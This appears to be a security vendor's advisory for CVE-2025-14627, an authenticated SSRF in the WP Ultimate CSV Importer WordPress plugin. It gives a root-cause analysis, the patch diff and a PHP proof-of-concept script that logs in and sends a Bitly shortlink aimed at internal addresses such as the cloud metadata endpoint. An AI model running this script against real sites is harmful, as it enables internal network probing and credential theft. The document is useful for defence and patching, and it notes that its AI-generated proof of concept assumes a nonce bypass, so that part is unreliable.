Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14627: WP Import – Ultimate CSV XML Importer for WordPress <= 7.35 – Authenticated (Contributor+) Server-Side Request Forgery via Bitly Shortlink Bypass (wp-ultimate-csv-importer)

Severity Medium (CVSS 6.4)
CWE 918
Vulnerable Version 7.35
Patched Version 7.36
Disclosed December 31, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-14627:
This vulnerability is an authenticated Server-Side Request Forgery (SSRF) in the WP Ultimate CSV Importer WordPress plugin, affecting versions up to and including 7.35. The flaw resides in the plugin’s URL upload functionality, allowing Contributor-level or higher authenticated users to force the server to make HTTP requests to internal network resources. The CVSS score of 6.4 reflects the moderate impact and attack complexity.

Atomic Edge research identified the root cause in the `upload_function()` method within the `UrlUpload.php` file. The initial URL validation uses `wp_http_validate_url()` at line 59. When a Bitly shortlink (containing ‘https://bit.ly/’) is detected at line 71, the `unshorten_bitly_url()` function follows redirects to resolve the final destination URL. The vulnerability occurs because the resolved URL bypasses re-validation. The patched version shows the plugin previously lacked validation on the resolved URL’s host and IP address, specifically missing checks for private IP ranges and reserved addresses.

The exploitation method requires an authenticated attacker with at least Contributor privileges to access the plugin’s AJAX upload endpoint. The attacker submits a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `smack_uci_upload_files`. The payload includes a `url` parameter containing a Bitly shortlink that resolves to an internal target, such as `http://169.254.169.254/` or `http://localhost/`. The plugin’s initial validation passes because the Bitly URL is public, but the subsequent redirect to the internal target is not re-validated, causing the server to fetch the internal resource.

The patch in version 7.36 adds comprehensive validation both before and after resolving Bitly shortlinks. In `UrlUpload.php` at lines 57-73, the patch introduces a host resolution and IP validation check using `gethostbyname()` and `filter_var()` with `FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE` flags. Crucially, after the `unshorten_bitly_url()` call at line 84, the patch reapplies `wp_http_validate_url()` and repeats the host/IP validation on the resolved URL. This ensures both the initial shortlink and its final destination are restricted from accessing internal networks.

Successful exploitation allows attackers to probe internal network services, access cloud instance metadata APIs (like AWS’s 169.254.169.254), interact with localhost services, and potentially exfiltrate sensitive configuration data or credentials from internal APIs. This can lead to further network compromise, even if the WordPress instance itself is not directly vulnerable to remote code execution.

Differential between vulnerable and patched code

Code Diff
--- a/wp-ultimate-csv-importer/importExtensions/LearnPressImport.php
+++ b/wp-ultimate-csv-importer/importExtensions/LearnPressImport.php
@@ -381,11 +381,22 @@
                        $post_type_values = $wpdb->get_results("SELECT post_title FROM {$wpdb->prefix}posts WHERE id = $question_post_id ", ARRAY_A);
                         $get_title_options_value = explode('|', $option_value);
                         if($option_key == $post_type_values[0]['post_title']){
-                            $wpdb->insert(
-                                "{$wpdb->prefix}learnpress_question_answers",
-                                array("question_id" => $question_post_id, "title" => $get_title_options_value[0], "is_true"=>$get_title_options_value[1]),
-                                array('%d', '%s','%s')
-                            );
+                           $wpdb->insert(
+    "{$wpdb->prefix}learnpress_question_answers",
+    array("question_id" => $question_post_id, "title" => $get_title_options_value[0], "is_true"=>$get_title_options_value[1]),
+    array('%d', '%s','%s')
+);
+
+$answer_id = $wpdb->insert_id;
+
+$unique_value = substr(md5(uniqid(rand(), true)), 0, 12);
+
+$wpdb->update(
+    "{$wpdb->prefix}learnpress_question_answers",
+    ['value' => $unique_value],
+    ['question_answer_id' => $answer_id]
+);
+
                         }
                     }

@@ -400,11 +411,22 @@

                 foreach($get_separate_options as $option_values){
                     $get_title_options = explode('|', $option_values);
-                    $wpdb->insert(
-                        "{$wpdb->prefix}learnpress_question_answers",
-                        array("question_id" => $question_post_id, "title" => $get_title_options[0], "is_true"=>$get_title_options[1]),
-                        array('%d', '%s','%s')
-                    );
+                 $wpdb->insert(
+    "{$wpdb->prefix}learnpress_question_answers",
+    array("question_id" => $question_post_id, "title" => $get_title_options[0], "is_true"=>$get_title_options[1]),
+    array('%d', '%s','%s')
+);
+
+$answer_id = $wpdb->insert_id;
+
+$unique_value = substr(md5(uniqid(rand(), true)), 0, 12);
+
+$wpdb->update(
+    "{$wpdb->prefix}learnpress_question_answers",
+    ['value' => $unique_value],
+    ['question_answer_id' => $answer_id]
+);
+
                 }
             }
         }
--- a/wp-ultimate-csv-importer/uploadModules/UrlUpload.php
+++ b/wp-ultimate-csv-importer/uploadModules/UrlUpload.php
@@ -57,6 +57,20 @@
 		check_ajax_referer('smack-ultimate-csv-importer', 'securekey');
 		$file_url = esc_url_raw($_POST['url']);
 		$file_url = wp_http_validate_url($file_url);
+$host = wp_parse_url($file_url, PHP_URL_HOST);
+$ip   = gethostbyname($host);
+
+if (!filter_var(
+    $ip,
+    FILTER_VALIDATE_IP,
+    FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
+)) {
+    $response['success'] = false;
+    $response['message'] = 'Download Failed. Invalid or restricted URL destination.';
+    echo wp_json_encode($response);
+    die();
+}
+
 		$media_type = '';
         if (isset($_POST['MediaType'])) {
             $media_type = sanitize_key($_POST['MediaType']);
@@ -70,9 +84,33 @@
 		$response = [];
 		global $wpdb;
 		$file_table_name = $wpdb->prefix ."smackcsv_file_events";
-			if(strstr($file_url, 'https://bit.ly/')){
-				$file_url = $this->unshorten_bitly_url($file_url);
-			}
+			if (strstr($file_url, 'https://bit.ly/')) {
+
+    $file_url = $this->unshorten_bitly_url($file_url);
+
+    $file_url = wp_http_validate_url($file_url);
+    if (!$file_url) {
+        $response['success'] = false;
+        $response['message'] = 'Download Failed. Resolved URL is not valid.';
+        echo wp_json_encode($response);
+        die();
+    }
+
+    $host = wp_parse_url($file_url, PHP_URL_HOST);
+    $ip   = gethostbyname($host);
+
+    if (!filter_var(
+        $ip,
+        FILTER_VALIDATE_IP,
+        FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
+    )) {
+        $response['success'] = false;
+        $response['message'] = 'Download Failed. Invalid or restricted URL destination.';
+        echo wp_json_encode($response);
+        die();
+    }
+}
+

 			$pub = substr($file_url, strrpos($file_url, '/') + 1);
                /*Added support for google addon & dropbox*/
--- a/wp-ultimate-csv-importer/wp-ultimate-csv-importer.php
+++ b/wp-ultimate-csv-importer/wp-ultimate-csv-importer.php
@@ -10,7 +10,7 @@
  *
  * @wordpress-plugin
  * Plugin Name: WP Ultimate CSV Importer
- * Version:     7.35
+ * Version:     7.36
  * Plugin URI:  https://www.smackcoders.com/wp-ultimate-csv-importer-pro.html
  * Description: Seamlessly create posts, custom posts, pages, media, SEO and more from your CSV data with ease.
  * Author:      Smackcoders
@@ -87,7 +87,7 @@
 	private static $persian_instance = null;
 	private static $chinese_instance = null;
 	private static $addon_instance = null;
-	public $version = '7.35';
+	public $version = '7.36';

 	public function __construct() {
 		add_action('init', array(__CLASS__, 'show_admin_menus'));
@@ -104,7 +104,7 @@
 	}

 	public function init_review_notice() {
-    add_action('admin_notices', [$this, 'render_review_notice']);
+   // add_action('admin_notices', [$this, 'render_review_notice']);
     add_action('admin_init', [$this, 'handle_review_notice_actions']);
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14627 - WP Import – Ultimate CSV XML Importer for WordPress <= 7.35 - Authenticated (Contributor+) Server-Side Request Forgery via Bitly Shortlink Bypass

<?php

$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
$bitly_shortlink = 'https://bit.ly/your_shortlink'; // Must resolve to internal target like http://169.254.169.254/

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => 'cookies.txt',
    CURLOPT_COOKIEFILE => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);

// Step 2: Exploit SSRF via plugin's AJAX upload endpoint
curl_setopt_array($ch, [
    CURLOPT_URL => $ajax_url,
    CURLOPT_POSTFIELDS => http_build_query([
        'action' => 'smack_uci_upload_files',
        'securekey' => 'dummy_nonce', // Nonce validation may be required; this PoC assumes bypass
        'url' => $bitly_shortlink,
        'MediaType' => 'any'
    ])
]);

$response = curl_exec($ch);
curl_close($ch);

// The server will follow the Bitly redirect and request the internal target
// Response may contain internal data or error messages indicating SSRF success
echo "Response: " . htmlspecialchars($response) . "n";

// Cleanup
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School